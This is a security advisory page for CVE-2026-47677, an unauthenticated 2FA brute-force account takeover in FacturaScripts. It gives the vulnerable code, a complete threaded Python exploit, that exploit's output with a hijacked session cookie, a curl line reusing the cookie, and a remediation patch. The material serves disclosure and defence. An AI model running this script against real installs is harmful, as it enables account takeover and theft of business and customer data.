PHP
CVE-2026-47677
CRITICAL
Lifecycle Timeline
3DescriptionCVE.org
Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection
Summary
Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST containing only fsNick and fsTwoFactorCode. If the TOTP value matches, the server issues a full fsNick + fsLogkey session cookie pair. The handler:
- Does not verify the password - the user is not required to have just
completed loginAction.
- Does not call
validateFormToken()- no CSRF token is required (every
other action handler in the same file does call it).
- Does not call
userHasManyIncidents()before processing -loginAction
and changePasswordAction both check this guard *before* doing work; the 2FA handler only writes to the incident list *after* a failure, and the incident list is consulted by loginAction / changePasswordAction but not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all.
Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is
> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)
On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP - a few minutes per account.
The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (admin, the company name, the person's initials).
Severity
CVSS 4.0 base score: 9.3 - Critical
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |
| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |
| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |
| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |
| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |
| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |
| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |
| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick. |
| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |
Threat metrics:
- Exploit Maturity (E): Attacked (A) - public PoC included below, runs out of the box.
Affected component
- File:
Core/Controller/Login.php - Method:
twoFactorValidationAction()(lines 317-328 in the repository at commit7392b489b, master branch as of 2026-05-13). - Related:
Core/Lib/TwoFactorManager.php:30(VERIFICATION_WINDOW = 8).
Vulnerable code:
protected function twoFactorValidationAction(Request $request): void
{
$userName = $request->input('fsNick');
$user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
$this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}Compare with loginAction in the same file, which calls validateFormToken() (line 275) and userHasManyIncidents() (line 287) *before* doing any work. The 2FA handler does neither.
Proof of concept
1. Brute force when only the victim's nick is known
This requires no prior knowledge beyond the target's nick. Because the 2FA endpoint has no rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP.
poc_2fa_brute.py:
#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests
BASE = os.environ.get("BASE", "http://localhost:9999")
NICK = os.environ.get("NICK", "admin")
THREADS = int(os.environ.get("THREADS", "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))
hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}
def worker(tid: int) -> None:
s = requests.Session()
while not hit.is_set():
with lock:
n = attempt_count[0]
if n >= MAX_TRIES:
return
attempt_count[0] += 1
code = f"{random.randint(0, 999999):06d}"
try:
r = s.post(f"{BASE}/login",
data={"action": "two-factor-validation",
"fsNick": NICK,
"fsTwoFactorCode": code},
allow_redirects=False, timeout=5)
except requests.RequestException:
continue
sc = r.headers.get("Set-Cookie", "")
if r.status_code == 302 and "fsLogkey" in sc:
with lock:
if hit.is_set():
return
hit.set()
result["code"] = code
result["n"] = n
result["cookies"] = {c.name: c.value for c in r.cookies}
return
def main() -> int:
print(f"[*] target={BASE} nick={NICK} threads={THREADS}")
threads = [threading.Thread(target=worker, args=(i,), daemon=True)
for i in range(THREADS)]
for t in threads: t.start()
while not hit.is_set() and attempt_count[0] < MAX_TRIES:
time.sleep(2)
elapsed = time.time() - start
print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} "
f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
for t in threads: t.join()
elapsed = time.time() - start
if hit.is_set():
print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
f"attempts in {elapsed:.1f}s")
cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
print(f"[+] Cookies: {cookie_hdr}")
print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser")
return 0
print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
return 1
if __name__ == "__main__":
sys.exit(main())Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick victim):
[*] target=http://localhost:9999 nick=victim threads=32
[ 2.2s] attempts= 1094 rps= 493
[ 24.4s] attempts= 11535 rps= 473
[ 50.0s] attempts= 23420 rps= 468
[100.7s] attempts= 41247 rps= 410
[144.9s] attempts= 55418 rps= 383
[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_ENA second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.
Impact
For each 2FA-enabled user (including admins):
- Confidentiality: full read access to anything the victim can see -
invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
- Integrity: full write access - create/modify/delete records, change
permissions, issue new API keys, upload plugins, install code (admin).
- Availability: targeted account lockout DoS - generating six failed
2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past MAX_INCIDENT_COUNT = 6, blocking the legitimate user from loginAction for 10 minutes. Repeatable indefinitely.
The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly *weaker* than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.
Remediation
Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.
- Require evidence the user just completed the password step. In
loginAction, after verifyPassword succeeds and 2FA is required, write a short-lived nonce keyed by (client_ip, user_nick) to the shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and delete that nonce before calling verifyTwoFactorCode. Without the nonce, return immediately.
- **Call
validateFormToken($request)at the top of
twoFactorValidationAction.** Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions.
- **Call
userHasManyIncidents(Session::getClientIp(), $userName)
before doing any work in twoFactorValidationAction**, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check.
- Reduce
TwoFactorManager::VERIFICATION_WINDOWfrom 8 to 1.
The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason - TOTP apps and the server clock are typically synchronised within a single 30-second step.
Suggested patch (illustrative):
// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
if (false === $this->validateFormToken($request)) { // fix 2
return;
}
$userName = $request->input('fsNick');
if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3
Tools::log()->warning('ip-banned');
return;
}
$nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
if (false === Cache::get($nonceKey)) { // fix 1
Tools::log()->warning('two-factor-no-pending-login');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
Cache::delete($nonceKey);
$user = new User();
if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
Tools::log()->warning('two-factor-code-invalid');
$this->saveIncident(Session::getClientIp(), $userName);
return;
}
$this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 - was 8loginAction then needs the matching nonce write where it currently sets $this->two_factor_user:
if ($user->two_factor_enabled) {
Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
bin2hex(random_bytes(16)), 300);
$this->two_factor_user = $user->nick;
$this->template = 'Login/TwoFactor.html.twig';
return;
}Reproduction
Tested on a clean install built from master at commit 7392b489b:
# brute force (only nick known) - secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.pyArticles & Coverage 1
AnalysisAI
Complete account takeover in FacturaScripts (<= 2026.2) lets an unauthenticated network attacker hijack any 2FA-enabled account, including admins, by brute-forcing the /login?action=two-factor-validation endpoint. The handler issues a full session cookie on a matching TOTP without verifying the password, requiring a CSRF token, or enforcing any rate limit, and an over-wide verification window keeps ~17 codes valid at once. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Recommended ActionAI
Within 24 hours: identify all FacturaScripts instances running version 2026.2 or earlier, activate incident response protocols, and establish continuous monitoring of authentication logs for brute force patterns on the /login endpoint. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-287 – Improper Authentication
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-c67f-gmxw-mj93